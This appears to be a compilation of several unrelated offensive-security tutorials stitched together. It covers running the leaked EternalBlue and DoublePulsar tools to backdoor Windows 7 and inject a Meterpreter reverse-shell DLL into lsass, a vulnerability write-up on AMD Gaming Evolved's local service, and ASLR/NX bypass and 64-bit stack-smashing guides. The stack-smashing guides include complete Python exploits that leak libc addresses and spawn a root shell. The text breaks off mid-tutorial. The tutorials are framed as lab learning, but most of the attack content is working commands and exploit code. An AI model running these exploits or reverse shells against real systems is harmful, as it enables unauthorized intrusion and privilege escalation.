tl;dr — sweet nation-state level hax, remote unauthenticated attacks that pop shells as NT AUTHORITY\System. Remember MS08-067? Yeah, like that.

Setting up the environment

  1. To get going, fire up a Windows 7 host in a virtual machine. Dont worry about the specs; all of my research and testing has been done in a Virtualbox VM with 1GB ram, 1 CPU core, and a 25GB hard drive.
  2. First and foremost, git clone (or download the zip) of the Shadowbrokers Dump. You should be able to grab it from x0rz’ github.
  3. The exploits run through a framework not entirely unlike Metasploit. The framework itself runs in Python, so we need to grab a copy of Python 2.6 for Windows. If you catch yourself wondering why you’re installing a 9 year old copy of Python, remember that the dump is from 2013, and the tools had been in use for a while. Fire up the DeLorean because we’re about to go way back.
  4. Add Python to your environmental path by going to Control Panel > System > Advanced System Settings > Environmental Variables and add C:\Python26 to the PATH field.
  5. Because you’re running Python on Windows, there are a bunch of dependencies you’ll need to install. The easiest way to overcome this is to install the Python for Windows Extensions, also known as PyWin. Grab a copy of PyWin 2.6 here.
  6. PyWin will very likely fail on its final step. No problem: open an administrator command prompt, cd C:\python26\scripts and run python pywin32_postinstall.py --install. Python and its dependencies should now be installed.
  7. We’re now ready to launch the Fuzzbunch Framework. Navigate to the folder you downloaded the exploits, and cd windows. You’ll need to create a folder called listeningposts or the next step will fail; so, mkdir listeningposts.
  8. You should now be able to launch Fuzzbunch — use python fb.py to kick it off.

Thats about it to get the software running. You’ll be asked a few questions, such as your Target IP, Callback IP (your local IP address), and whether you want to use Redirection. For now, choose no. Fuzzbunch will ask for a Logs directory — this is a pretty cool feature that stores your attack history and lets you resume from where you left off. Create a Logs directory somewhere.

At this point I’d encourage you to explore the interface; its fairly intuitive, sharing many commands with Metasploit (including help and ? — hint hint). In the next post, we’ll launch an actual attack through Meterpreter and Powershell Empire DLLs.

By now, your environment is configured, you’ve been able to launch the Fuzzbunch framework, and you’re probably ready to hack something. In this article we’ll go through the process of using EternalBlue to create a backdoor. I’m going to make the following assumptions:

  1. You have configured a local VM network with 1 Windows attack machine and 1 Windows 7 victim machine.
  2. You have gone through the first blog post and can launch the Fuzzbunch framework.
  3. You have basic command of the Windows operating system and command line.

For reference, in my lab environment, this is the setup:

  1. Attacker Box — 10.0.2.5. Windows 7 SP1 x64.
  2. Kali Box — 10.0.2.15. Kali Rolling. (We’ll use this in Part 3)
  3. Victim Box — 10.0.2.7. Windows 7 SP1 x64, without the MS17-010 patches applied.

In the next tutorial we’re going to use the DLL injection function in DoublePulsar — however, the first step in this process is to backdoor the Victim with Eternal Blue. Launch Fuzzbunch, and enter the following:

Default Target IP Address []: 10.0.2.7
Default Callback IP Address []: 10.0.2.5
Use Redirection [yes]: no
Base Log directory [D:\logs]: c:\fb_logs

If you have run Fuzzbunch in the past, you may see a list of projects. If this is your first run, you’ll see a prompt to select or create a new project. Select [0] to create a new project. Give it a name, and you should see something like this:

Time to backdoor our Windows box. Remember that exploits run through EternalBlue (the backdoor itself), so this is a critical step.

  1. Type use eternalblue
  2. Fuzzbunch populates your options with defaults. The good news is, this is mostly correct out of the box. It’ll ask if you want to be prompted for variables — lets go through this, as there is one default we’re going to change. Types yes or hit enter to continue.
  3. NetworkTimeout [60]: This is fine unless youre on a slow link. Hit enter. If you notice timeouts, come back to this section and bump it up to 90 or 120 seconds.
  4. TargetIP [10.0.2.7]: This should be what you entered when starting Fuzzbunch. If you need to retype it, do so now — otherwise, hit enter.
  5. TargetPort [445]: EternalBlue targets SMB. If your SMB port is not 445 (which is standard), enter it here. For everyone else, hit enter.
  6. VerifyTarget [True]: You can set this to False to speed things up — but its a good idea to verify the target exists and is vulnerable before firing things off.
  7. VerifyBackdoor [True]: Verify that your backdoor exploit actually succeeds.
  8. MaximumExploitAttempts [3]: How many times should EternalBlue attempt to install the backdoor? I have seen EternalBlue fail the first attempt and succeed the second — so I’d recommend leaving it at 3.
  9. GroomAllocations [12]: The number of SMB Buffers to use. Accept the defaults.
  10. Target [WIN72K8R2]: In our example, we’re targetting Windows 7. If you’re using XP, select the appropriate option.
  11. Mode :: Delivery Mechanism [FB]: We’re going to use Fuzzbunch. In a future post, we’ll discuss DARINGNEOPHYTE.
  12. Fuzzbunch Confirmation: This confirms that you want to use Fuzzbunch.
  13. Destination IP [10.0.2.7]: This is for your local tunnel. In our example, keep it as default
  14. Destination Port [445]: As per above, this is for your local tunnel. Accept the default.
  15. You should now see a summary of the configured EternalBlue module, as seen below:

Everything look good? Hit enter, and we’ll see Fuzzbunch backdoor the victim machine. This happens quick, but the authors have made a point of a celebratory =-=-=WIN=-=-= banner.

Here’s the exploit in its entirety, from answering yes to a successful backdoor.

Note that EternalBlue checks for the existance of a backdoor before continuing. If you see =-=-=-=-=WIN=-=-=-=-= toward the end, and a green [+] Eternalblue Succeeded message then congratulations! You’ve just launched a nation state exploit against an unsuspecting lab machine. I’d suggest running through these steps again, right away, to see how things play out when you try to backdoor a box that has already been backdoored with EternalBlue. In the next post, we’ll pop a Meterpreter shell as NT Authority\System in minutes flat.

To recap where we are so far: You’ve installed Python 2.6 and its prerequisites. You can launch Fuzzbunch without errors, and you’ve backdoored your Victim box. You have a Windows Attack box, a Windows Victim Box, and a Kali box — and all three are on the same network and can communicate with each other. Please revisit the previous posts if this doesn’t describe your situation. Otherwise, lets hack things.

Now that we have a backdoor installed, we’re going to inject a Meterpreter DLL into a running process on your victim machine, and get a shell as NT Authority\System, the equivalent of root on a Windows box. For this section of the process, I’ll assume the following:

  1. You are familiar with the Linux command line.
  2. You have basic familairity with Metasploit, specifically the msfconsole and msvenom tools. If you arent familiar with these, Offensive Security’s Metasploit Unleashed is a great primer available for free.
  3. You have backdoored your Victim box successfully.

Creating the Meterpreter payload and starting your Kali listener
Let’s start by creating a malicious DLL file. The DLL we create is going to run the payload windows/x64/meterpreter/reverse_tcp which creates a 64-bit Meterpreter Reverse TCP connection to an IP address we specify. As noted in Part 2, my Kali system is located at 10.0.2.15.

  1. Use the following command to generate the DLL: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=9898 -f dll -o meterpreter.dll. This uses the payload mentioned, connecting back to 10.0.2.15, on port 9898. It uses the DLL format and outputs the payload to a file called meterpreter.dll.
  2. Copy the DLL over to your Windows Attack box. How you do this is up to you, but a quick and dirty way is to run python -m SimpleHTTPServer on your Kali box, and use a web browser from the Windows Attack box to browse to http://10.0.2.15:8000 and download it directly.
  3. Start up msfconsole on Kali and use exploit/multi/handler. We’re going to catch our shell here — so use the parameters you set in the DLL by typing set LPORT 9898. You can probably get away without setting the LHOST, but if you want to be sure, type set LHOST 10.0.2.15 as well. Finally, I had some issues with the exploit failing when I didnt set a payload manually. Avoid that by typing set PAYLOAD windows/x64/meterpreter/reverse_tcp. Lastly, type exploit to start your listener. Lots of info in this step, so here’s what you should see:
  1. If everything looks good, its time to go back to the Windows Attack box. Fire up Fuzzbunch if its not already running, and use doublepulsar.

Injecting the DLL and catching a shell

Like EternalBlue, DoublePulsar will attempt to fill in default module settings for you. We’re going to change things, so when you see Prompt for Variable Settings? [Yes]:, hit enter.

  1. NetworkTimeout [60]: This is fine unless youre on a slow link. Hit enter. If you notice timeouts, come back to this section and bump it up to 90 or 120 seconds.
  2. TargetIP [10.0.2.7]: This should be what you entered when starting Fuzzbunch. If you need to retype it, do so now — otherwise, hit enter.
  3. TargetPort [445]: DoublePulsar targets SMB. If your SMB port is not 445 (which is standard), enter it here. For everyone else, hit enter.
  4. Protocol: Since we’re using SMB here, make sure SMB is selected.
  5. Architecture: Make sure you have this set correctly. If you use x86 on an x64 box, you’ll get a blue screen of death.
  6. Function: DoublePulsar can run shellcode, or run a DLL. Select 2 to Run a DLL.
  7. DllPayload []: This is the full path to your Meterpreter DLL; for example, C:\temp\meterpreter.dll
  8. DllOrdinal [1]: DLL files call functions by ordinal numbers instead of names. Unfortunately this is out of my scope of knowledge — in my experimentation, I used trial and error until an ordinal number worked. In this case, set your ordinal to 1. If 1 is incorrect, you’ll quickly find out via a blue screen of death, nothing happening at all, or the RPC server on the Victim box crashing. Know a great way to determine the ordinal? Please drop me a line.
  9. ProcessName [lsass.exe]: The process name you’ll inject into. This is your call — pick something run as NT Authority\System, that is also unlikely to crash when disturbed, and is likely to exist and be running on the Victim machine. DoublePulsar uses lsass.exe by default — this works fine, but some Meterpreter actions (such as hashdump) will likely cause it to crash. You can consider spoolsv.exeSearchIndexer.exe, and lsm.exe as well — experiement a bit with this field.
  10. ProcessCommand []: Optional, the process command line to inject into. Leave this blank.
  11. Destination IP [10.0.2.7]: Local tunnel IP. For this scenario, leave it as default.
  12. Destination Port [445]: Local tunnel port. Again, we’ll leave this default.

You should now have a summary of the changes you’ve made, which should look like this:

If everything looks good, hit enter to launch your exploit. DoublePulsar will connect, check on the EternalBlue backdoor, and inject the DLL. You should see a [+] Doublepulsar Succeeded message. Here’s what the attack looks like from your Windows box:

And now the good part — open up your Kali box. If everything has gone well, you’ve now got a meterpreter session open, and you should have NT Authority\Systemw00t!

In the next post, we’ll do the same thing with PowerShell Empire. Sick of the Red Team stuff? Coming up are event viewer logs for each of the steps described, PCAPs of each attack, and an analysis of what hits the disk when you launch EternalBlue and DoublePulsar.

AMD Gaming Evolved exploiting

Background

For anyone running an AMD GPU from a few years back, you’ve probably come across a piece of software installed on your computer from Raptr, Inc. If you don’t remember installing it, it’s because for several years it was installed silently along-side your AMD drivers. The software was marketed to the gaming community and labeled AMD Gaming Evolved. While I haven’t ever actually used the software, I’ve gathered that it allowed you to tweak your GPU as well as record your gameplay using another application called playstv.

I personally discovered the software while performing a routine check of what software running on my PC was listening for inbound connections. I try to make it a point to at least give a minimal amount of attention to any software I find accepting connections from outside of my PC. However, when I originally discovered this, my free time was scarce so I just made a note of it and uninstalled the software. The following screenshot shows the plays_service.exe binary listening on all interfaces on what appears to be an ephemeral port.

Fast forward two years, I update my AMD drivers and notice plays_service.exe” has shown up on my computer again. This time I decide to give it a little more attention.

Reversing – Windows Service

Opening up plays_service.exe in IDA, we see the usual boiler plate service code and trace it down to the main entry point. From here we almost immediately recognize that this application is python based and has been packaged with something like py2exe. While decompiling python byte code is rather trivial, the trick with these types of executables is identifying and locating the python classes. Python byte-code in a py2exe packaged binary is typically embedded in the executable or loaded from some relative path on disk. At this point, I usually open up the strings subview in IDA to see if anything obvious jumps out.

I see at least a few interesting string references that are worth investigating. Several of them look like they may have something to do with the initialization of python. The first string I track down is “Unable to create Python obj for executable name!” . At first glance it appears to be an error message if certain python objects aren’t created properly. Scrolling up in the function it references, I see the following code.

This function appears to be the python setup routine. Returning to my list of strings, I see several references to zip.

%s%cpython%d%d.zip
zipimport
cannot import zipimport module
zipimporter

I decided to search through the install directory and see if there were any zip files present. Success, only one zip file exists and it is named python35.zip! It’s filename also matches the format string of one of the string references above. I unzip the file and peruse its contents. The zip file contains thousands of compiled bytecode python files which I presume to be the applications core source code and library dependencies.

Reversing – Compiled Python

Looking through the compiled python files, I see three that may be the service’s source code.

I decompiled each of the files using uncompyle6 and opened them up in a text editor. The largest of the three, plays_service.pyc, turned out to be the main service source. The service is a basic HTTP server made up of a few simple classes. It binds to an ephermal port on startup and writes the port to the registry to be used by the greater application. The POST request handler code is listed below.

The handler expects a JSON formatted POST request with a couple of parameters. The first is the data parameter which holds the command to be processed. The second is a hash value of the data provided and a secret key. Lucky for us, the secret key just so happens to be hard-coded in the class definition. If the computed hash matches the one provided, the handler calls one of two defined command function, “extract_files” or “execute_installer”. From here I began to look at the “execute_installer” function because the name sounded quite promising.

The function logic is pretty straight forward. It performs a couple insignificant checks, resolves two paths passed as parameters to the POST request, and then calls CreateProcess. The most important detail of note is that while it looks like a fully controlled command injection is possible, the calls to win32api.GetShortPathName throw an exception if the parameter passed does not resolve to a file. This limits the exploitation of this vulnerability significantly but still allows for privilege escalation to SYSTEM and remote compromise using anonymous outbound SMB.

Exploit

Exploiting this “feature” for file execution didn’t take a significant amount of work. The only real requirements were properly setting up the POST request and hashing the right portion of data. A proof of concept for achieving file execution with this vulnerability (CVE-2018-6546) can be found here.

Bypass ASLR+NX Part 1

Hi guys today i will explain how to bypass ASLR and NX mitigation technique if you dont have any knowledge about ASLR and NX you can read it in Above link i will explain it but not in depth

ASLR:Address Space Layout randomization : it’s mitigation to technique to prevent exploitation of memory by make Address randomize not fixed as we saw in basic buffer overflow exploit it need to but start of buffer in EIP and Redirect execution to execute your shellcode but when it’s random it will make it hard to guess that start of buffer random it’s only in shared library address we found ASLR in stack address ,Heap Address.

NX: Non-Executable it;s another mitigation use to prevent memory from execute any machine code(shellcode) as we saw in basic buffer overflow  you  put shellcode in stack and redirect EIP to begin of buffer to execute it but this will not work here this mitigation could be bypass by Ret2libc exploit technique use function inside binary pass it to stack and aslo they are another way   depend on gadgets inside binary or shared library this technique is ROP Return Oriented Programming i will  make separate article .

After we get little info about ASLR and NX now it’s time to see how we can bypass it, to bypass ASLR there are many ways like Ret2PLT use Procedural Linkage Table contains a stub code for each global function. A call instruction in text segment doesnt call the function (‘function’) directly instead it calls the stub code(func@PLT) why we use Return in PLT because it’not randomized  it’s address know before execution itself  another technique is overwrite GOT and  brute-forcing this technique use when the address partial randomized like 2 or 3 bytes just randomized .

in this article i will explain technique combine Ret2plt and some ROP gadgets and Ret2libc see let divided it
first find Ret2PLT

vulnerable code

we compile it with following Flags

now let check ASLR it’s enable it

 

as you see in above image libc it’s randomized but it could be brute-force it

now let open file in gdb

now it’s clear NX was enable it now let fuzzing binary .

we create pattern and we going to pass to  binary  to detect where overflow occur

 

 

now we can see they are pattern in EIP we use another tool to find where overflow occurred.

1028 to overwrite EBP if we add 4bytes we going control EIP and we can redirect our execution.

 

now we have control EIP .

ok after we do basic overflow steps now we need way let us to bypass ASLR+NX .

first find functions PLT in binary file.

we find strcpy and system PLT now how we going to build our exploit depend on two methods just.
second we must find writable section in binary file to fill it and use system like to we did in traditional Ret2libc.

first think in .bss section is use by compilers and linkers for the  part  of the data segment containing static allocated variables that are not initialized .

after that we will use strcpy to write string in .bss address but what address ?
ok let back to function we find it in PLT strcpy as we know we will be use to write string and system to execute command but will can;t find /bin/sh in binary file we have another way is to look at binary.

now we have string address  it’s time to combine all pieces we found it.

1-use strcpy to copy from SRC to DEST SRC in this case it’s our string «sh» and DEST   it’s our writable area «.bss» but we need to chain two method strcpy and system we look for gadgets depend on our parameters in this case just we need pop pop ret.

we chose 0x080484ba does’t matter  register name  we need just two pop .
2-after we write string  we use system like we use it in Ret2libc but in this case «/bin/sh» will be .bss address.

final payload

strcpy+ppr+.bss+s
strcpy+ppr+.bss+1+h
system+dump+.bss

Final Exploit

 

we got Shell somtime you need to chain many technique to get final exploit to bypass more than one mitigation.

64-bit Linux stack smashing tutorial: Part 3

t’s been almost a year since I posted part 2, and since then, I’ve received requests to write a follow up on how to bypass ASLR. There are quite a few ways to do this, and rather than go over all of them, I’ve picked one interesting technique that I’ll describe here. It involves leaking a library function’s address from the GOT, and using it to determine the addresses of other functions in libc that we can return to.

Setup

The setup is identical to what I was using in part 1 and part 2. No new tools required.

Leaking a libc address

Here’s the source code for the binary we’ll be exploiting:

/* Compile: gcc -fno-stack-protector leak.c -o leak          */
/* Enable ASLR: echo 2 > /proc/sys/kernel/randomize_va_space */

#include <stdio.h>
#include <string.h>
#include <unistd.h>

void helper() {
    asm("pop %rdi; pop %rsi; pop %rdx; ret");
}

int vuln() {
    char buf[150];
    ssize_t b;
    memset(buf, 0, 150);
    printf("Enter input: ");
    b = read(0, buf, 400);

    printf("Recv: ");
    write(1, buf, b);
    return 0;
}

int main(int argc, char *argv[]){
    setbuf(stdout, 0);
    vuln();
    return 0;
}

You can compile it yourself, or download the precompiled binary here.

The vulnerability is in the vuln() function, where read() is allowed to write 400 bytes into a 150 byte buffer. With ASLR on, we can’t just return to system() as its address will be different each time the program runs. The high level solution to exploiting this is as follows:

  1. Leak the address of a library function in the GOT. In this case, we’ll leak memset()’s GOT entry, which will give us memset()’s address.
  2. Get libc’s base address so we can calculate the address of other library functions. libc’s base address is the difference between memset()’s address, and memset()’s offset from libc.so.6.
  3. A library function’s address can be obtained by adding its offset from libc.so.6 to libc’s base address. In this case, we’ll get system()’s address.
  4. Overwrite a GOT entry’s address with system()’s address, so that when we call that function, it calls system() instead.

You should have a bit of an understanding on how shared libraries work in Linux. In a nutshell, the loader will initially point the GOT entry for a library function to some code that will do a slow lookup of the function address. Once it finds it, it overwrites its GOT entry with the address of the library function so it doesn’t need to do the lookup again. That means the second time a library function is called, the GOT entry will point to that function’s address. That’s what we want to leak. For a deeper understanding of how this all works, I refer you to PLT and GOT — the key to code sharing and dynamic libraries.

Let’s try to leak memset()’s address. We’ll run the binary under socat so we can communicate with it over port 2323:

# socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./leak

Grab memset()’s entry in the GOT:

# objdump -R leak | grep memset
0000000000601030 R_X86_64_JUMP_SLOT  memset

Let’s set a breakpoint at the call to memset() in vuln(). If we disassemble vuln(), we see that the call happens at 0x4006c6. So add a breakpoint in ~/.gdbinit:

# echo "br *0x4006c6" >> ~/.gdbinit

Now let’s attach gdb to socat.

# gdb -q -p `pidof socat`
Breakpoint 1 at 0x4006c6
Attaching to process 10059
.
.
.
gdb-peda$ c
Continuing.

Hit “c” to continue execution. At this point, it’s waiting for us to connect, so we’ll fire up nc and connect to localhost on port 2323:

# nc localhost 2323

Now check gdb, and it will have hit the breakpoint, right before memset() is called.

   0x4006c3 <vuln+28>:  mov    rdi,rax
=> 0x4006c6 <vuln+31>:  call   0x400570 <memset@plt>
   0x4006cb <vuln+36>:  mov    edi,0x4007e4

Since this is the first time memset() is being called, we expect that its GOT entry points to the slow lookup function.

gdb-peda$ x/gx 0x601030
0x601030 <memset@got.plt>:      0x0000000000400576
gdb-peda$ x/5i 0x0000000000400576
   0x400576 <memset@plt+6>:     push   0x3
   0x40057b <memset@plt+11>:    jmp    0x400530
   0x400580 <read@plt>: jmp    QWORD PTR [rip+0x200ab2]        # 0x601038 <read@got.plt>
   0x400586 <read@plt+6>:       push   0x4
   0x40058b <read@plt+11>:      jmp    0x400530

Step over the call to memset() so that it executes, and examine its GOT entry again. This time it points to memset()’s address:

gdb-peda$ x/gx 0x601030
0x601030 <memset@got.plt>:      0x00007f86f37335c0
gdb-peda$ x/5i 0x00007f86f37335c0
   0x7f86f37335c0 <memset>:     movd   xmm8,esi
   0x7f86f37335c5 <memset+5>:   mov    rax,rdi
   0x7f86f37335c8 <memset+8>:   punpcklbw xmm8,xmm8
   0x7f86f37335cd <memset+13>:  punpcklwd xmm8,xmm8
   0x7f86f37335d2 <memset+18>:  pshufd xmm8,xmm8,0x0

If we can write memset()’s GOT entry back to us, we’ll receive it’s address of 0x00007f86f37335c0. We can do that by overwriting vuln()’s saved return pointer to setup a ret2plt; in this case, write@plt. Since we’re exploiting a 64-bit binary, we need to populate the RDI, RSI, and RDX registers with the arguments for write(). So we need to return to a ROP gadget that sets up these registers, and then we can return to write@plt.

I’ve created a helper function in the binary that contains a gadget that will pop three values off the stack into RDI, RSI, and RDX. If we disassemble helper(), we’ll see that the gadget starts at 0x4006a1. Here’s the start of our exploit:

#!/usr/bin/env python

from socket import *
from struct import *

write_plt  = 0x400540            # address of write@plt
memset_got = 0x601030            # memset()'s GOT entry
pop3ret    = 0x4006a1            # gadget to pop rdi; pop rsi; pop rdx; ret

buf = ""
buf += "A"*168                  # padding to RIP's offset
buf += pack("<Q", pop3ret)      # pop args into registers
buf += pack("<Q", 0x1)          # stdout
buf += pack("<Q", memset_got)   # address to read from
buf += pack("<Q", 0x8)          # number of bytes to write to stdout
buf += pack("<Q", write_plt)    # return to write@plt

s = socket(AF_INET, SOCK_STREAM)
s.connect(("127.0.0.1", 2323))

print s.recv(1024)              # "Enter input" prompt
s.send(buf + "\n")              # send buf to overwrite RIP
print s.recv(1024)              # receive server reply
d = s.recv(1024)[-8:]           # we returned to write@plt, so receive the leaked memset() libc address 
                                # which is the last 8 bytes in the reply

memset_addr = unpack("<Q", d)
print "memset() is at", hex(memset_addr[0])

# keep socket open so gdb doesn't get a SIGTERM
while True: 
    s.recv(1024)

Let’s see it in action:

# ./poc.py
Enter input:
Recv:
memset() is at 0x7f679978e5c0

I recommend attaching gdb to socat as before and running poc.py. Step through the instructions so you can see what’s going on. After memset() is called, do a “p memset”, and compare that address with the leaked address you receive. If it’s identical, then you’ve successfully leaked memset()’s address.

Next we need to calculate libc’s base address in order to get the address of any library function, or even a gadget, in libc. First, we need to get memset()’s offset from libc.so.6. On my machine, libc.so.6 is at /lib/x86_64-linux-gnu/libc.so.6. You can find yours by using ldd:

# ldd leak
        linux-vdso.so.1 =>  (0x00007ffd5affe000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff25c07d000)
        /lib64/ld-linux-x86-64.so.2 (0x00005630d0961000)

libc.so.6 contains the offsets of all the functions available to us in libc. To get memset()’s offset, we can use readelf:

# readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep memset
    66: 00000000000a1de0   117 FUNC    GLOBAL DEFAULT   12 wmemset@@GLIBC_2.2.5
   771: 000000000010c150    16 FUNC    GLOBAL DEFAULT   12 __wmemset_chk@@GLIBC_2.4
   838: 000000000008c5c0   247 FUNC    GLOBAL DEFAULT   12 memset@@GLIBC_2.2.5
  1383: 000000000008c5b0     9 FUNC    GLOBAL DEFAULT   12 __memset_chk@@GLIBC_2.3.4

memset()’s offset is at 0x8c5c0. Subtracting this from the leaked memset()’s address will give us libc’s base address.

To find the address of any library function, we just do the reverse and add the function’s offset to libc’s base address. So to find system()’s address, we get its offset from libc.so.6, and add it to libc’s base address.

Here’s our modified exploit that leaks memset()’s address, calculates libc’s base address, and finds the address of system():

# ./poc.py
#!/usr/bin/env python

from socket import *
from struct import *

write_plt  = 0x400540            # address of write@plt
memset_got = 0x601030            # memset()'s GOT entry
memset_off = 0x08c5c0            # memset()'s offset in libc.so.6
system_off = 0x046640            # system()'s offset in libc.so.6
pop3ret    = 0x4006a1            # gadget to pop rdi; pop rsi; pop rdx; ret

buf = ""
buf += "A"*168                  # padding to RIP's offset
buf += pack("<Q", pop3ret)      # pop args into registers
buf += pack("<Q", 0x1)          # stdout
buf += pack("<Q", memset_got)   # address to read from
buf += pack("<Q", 0x8)          # number of bytes to write to stdout
buf += pack("<Q", write_plt)    # return to write@plt

s = socket(AF_INET, SOCK_STREAM)
s.connect(("127.0.0.1", 2323))

print s.recv(1024)              # "Enter input" prompt
s.send(buf + "\n")              # send buf to overwrite RIP
print s.recv(1024)              # receive server reply
d = s.recv(1024)[-8:]           # we returned to write@plt, so receive the leaked memset() libc address
                                # which is the last 8 bytes in the reply

memset_addr = unpack("<Q", d)
print "memset() is at", hex(memset_addr[0])

libc_base = memset_addr[0] - memset_off
print "libc base is", hex(libc_base)

system_addr = libc_base + system_off
print "system() is at", hex(system_addr)

# keep socket open so gdb doesn't get a SIGTERM
while True:
    s.recv(1024)

And here it is in action:

# ./poc.py
Enter input:
Recv:
memset() is at 0x7f9d206e45c0
libc base is 0x7f9d20658000
system() is at 0x7f9d2069e640

Now that we can get any library function address, we can do a ret2libc to complete the exploit. We’ll overwrite memset()’s GOT entry with the address of system(), so that when we trigger a call to memset(), it will call system(“/bin/sh”) instead. Here’s what we need to do:

  1. Overwrite memset()’s GOT entry with the address of system() using read@plt.
  2. Write “/bin/sh” somewhere in memory using read@plt. We’ll use 0x601000 since it’s a writable location with a static address.
  3. Set RDI to the location of “/bin/sh” and return to system().

Here’s the final exploit:

#!/usr/bin/env python

import telnetlib
from socket import *
from struct import *

write_plt  = 0x400540            # address of write@plt
read_plt   = 0x400580            # address of read@plt
memset_plt = 0x400570            # address of memset@plt
memset_got = 0x601030            # memset()'s GOT entry
memset_off = 0x08c5c0            # memset()'s offset in libc.so.6
system_off = 0x046640            # system()'s offset in libc.so.6
pop3ret    = 0x4006a1            # gadget to pop rdi; pop rsi; pop rdx; ret
writeable  = 0x601000            # location to write "/bin/sh" to

# leak memset()'s libc address using write@plt
buf = ""
buf += "A"*168                  # padding to RIP's offset
buf += pack("<Q", pop3ret)      # pop args into registers
buf += pack("<Q", 0x1)          # stdout
buf += pack("<Q", memset_got)   # address to read from
buf += pack("<Q", 0x8)          # number of bytes to write to stdout
buf += pack("<Q", write_plt)    # return to write@plt

# payload for stage 1: overwrite memset()'s GOT entry using read@plt
buf += pack("<Q", pop3ret)      # pop args into registers
buf += pack("<Q", 0x0)          # stdin
buf += pack("<Q", memset_got)   # address to write to
buf += pack("<Q", 0x8)          # number of bytes to read from stdin
buf += pack("<Q", read_plt)     # return to read@plt

# payload for stage 2: read "/bin/sh" into 0x601000 using read@plt
buf += pack("<Q", pop3ret)      # pop args into registers
buf += pack("<Q", 0x0)          # junk
buf += pack("<Q", writeable)    # location to write "/bin/sh" to
buf += pack("<Q", 0x8)          # number of bytes to read from stdin
buf += pack("<Q", read_plt)     # return to read@plt

# payload for stage 3: set RDI to location of "/bin/sh", and call system()
buf += pack("<Q", pop3ret)      # pop rdi; ret
buf += pack("<Q", writeable)    # address of "/bin/sh"
buf += pack("<Q", 0x1)          # junk
buf += pack("<Q", 0x1)          # junk
buf += pack("<Q", memset_plt)   # return to memset@plt which is actually system() now

s = socket(AF_INET, SOCK_STREAM)
s.connect(("127.0.0.1", 2323))

# stage 1: overwrite RIP so we return to write@plt to leak memset()'s libc address
print s.recv(1024)              # "Enter input" prompt
s.send(buf + "\n")              # send buf to overwrite RIP
print s.recv(1024)              # receive server reply
d = s.recv(1024)[-8:]           # we returned to write@plt, so receive the leaked memset() libc address 
                                # which is the last 8 bytes in the reply

memset_addr = unpack("<Q", d)
print "memset() is at", hex(memset_addr[0])

libc_base = memset_addr[0] - memset_off
print "libc base is", hex(libc_base)

system_addr = libc_base + system_off
print "system() is at", hex(system_addr)

# stage 2: send address of system() to overwrite memset()'s GOT entry
print "sending system()'s address", hex(system_addr)
s.send(pack("<Q", system_addr))

# stage 3: send "/bin/sh" to writable location
print "sending '/bin/sh'"
s.send("/bin/sh")

# get a shell
t = telnetlib.Telnet()
t.sock = s
t.interact()

I’ve commented the code heavily, so hopefully that will explain what’s going on. If you’re still a bit confused, attach gdb to socat and step through the process. For good measure, let’s run the binary as the root user, and run the exploit as a non-priviledged user:

koji@pwnbox:/root/work$ whoami
koji
koji@pwnbox:/root/work$ ./poc.py
Enter input:
Recv:
memset() is at 0x7f57f50015c0
libc base is 0x7f57f4f75000
system() is at 0x7f57f4fbb640
+ sending system()'s address 0x7f57f4fbb640
+ sending '/bin/sh'
whoami
root

Got a root shell and we bypassed ASLR, and NX!

We’ve looked at one way to bypass ASLR by leaking an address in the GOT. There are other ways to do it, and I refer you to the ASLR Smack & Laugh Reference for some interesting reading. Before I end off, you may have noticed that you need to have the correct version of libc to subtract an offset from the leaked address in order to get libc’s base address. If you don’t have access to the target’s version of libc, you can attempt to identify it using libc-database. Just pass it the leaked address and hopefully, it will identify the libc version on the target, which will allow you to get the correct offset of a function.

64-bit Linux stack smashing tutorial: Part 2

This is part 2 of my 64-bit Linux Stack Smashing tutorial. In part 1 we exploited a 64-bit binary using a classic stack overflow and learned that we can’t just blindly expect to overwrite RIP by spamming the buffer with bytes. We turned off ASLR, NX, and stack canaries in part 1 so we could focus on the exploitation rather than bypassing these security features. This time we’ll enable NX and look at how we can exploit the same binary using ret2libc.

Setup

The setup is identical to what I was using in part 1. We’ll also be making use of the following:

Ret2Libc

Here’s the same binary we exploited in part 1. The only difference is we’ll keep NX enabled which will prevent our previous exploit from working since the stack is now non-executable:

/* Compile: gcc -fno-stack-protector ret2libc.c -o ret2libc      */
/* Disable ASLR: echo 0 > /proc/sys/kernel/randomize_va_space     */

#include <stdio.h>
#include <unistd.h>

int vuln() {
    char buf[80];
    int r;
    r = read(0, buf, 400);
    printf("\nRead %d bytes. buf is %s\n", r, buf);
    puts("No shell for you :(");
    return 0;
}

int main(int argc, char *argv[]) {
    printf("Try to exec /bin/sh");
    vuln();
    return 0;
}

You can also grab the precompiled binary here.

In 32-bit binaries, a ret2libc attack involves setting up a fake stack frame so that the function calls a function in libc and passes it any parameters it needs. Typically this would be returning to system() and having it execute “/bin/sh”.

In 64-bit binaries, function parameters are passed in registers, therefore there’s no need to fake a stack frame. The first six parameters are passed in registers RDI, RSI, RDX, RCX, R8, and R9. Anything beyond that is passed in the stack. This means that before returning to our function of choice in libc, we need to make sure the registers are setup correctly with the parameters the function is expecting. This in turn leads us to having to use a bit of Return Oriented Programming (ROP). If you’re not familiar with ROP, don’t worry, we won’t be going into the crazy stuff.

We’ll start with a simple exploit that returns to system() and executes “/bin/sh”. We need a few things:

  • The address of system(). ASLR is disabled so we don’t have to worry about this address changing.
  • A pointer to “/bin/sh”.
  • Since the first function parameter needs to be in RDI, we need a ROP gadget that will copy the pointer to “/bin/sh” into RDI.

Let’s start with finding the address of system(). This is easily done within gdb:

gdb-peda$ start
.
.
.
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x7ffff7a5ac40 <system>

We can just as easily search for a pointer to “/bin/sh”:

gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 3 results, display max 3 items:
ret2libc : 0x4006ff --> 0x68732f6e69622f ('/bin/sh')
ret2libc : 0x6006ff --> 0x68732f6e69622f ('/bin/sh')
    libc : 0x7ffff7b9209b --> 0x68732f6e69622f ('/bin/sh')

The first two pointers are from the string in the binary that prints out “Try to exec /bin/sh”. The third is from libc itself, and in fact if you do have access to libc, then feel free to use it. In this case, we’ll go with the first one at 0x4006ff.

Now we need a gadget that copies 0x4006ff to RDI. We can search for one using ropper. Let’s see if we can find any instructions that use EDI or RDI:

koji@pwnbox:~/ret2libc$ ropper --file ret2libc --search "% ?di"
Gadgets
=======


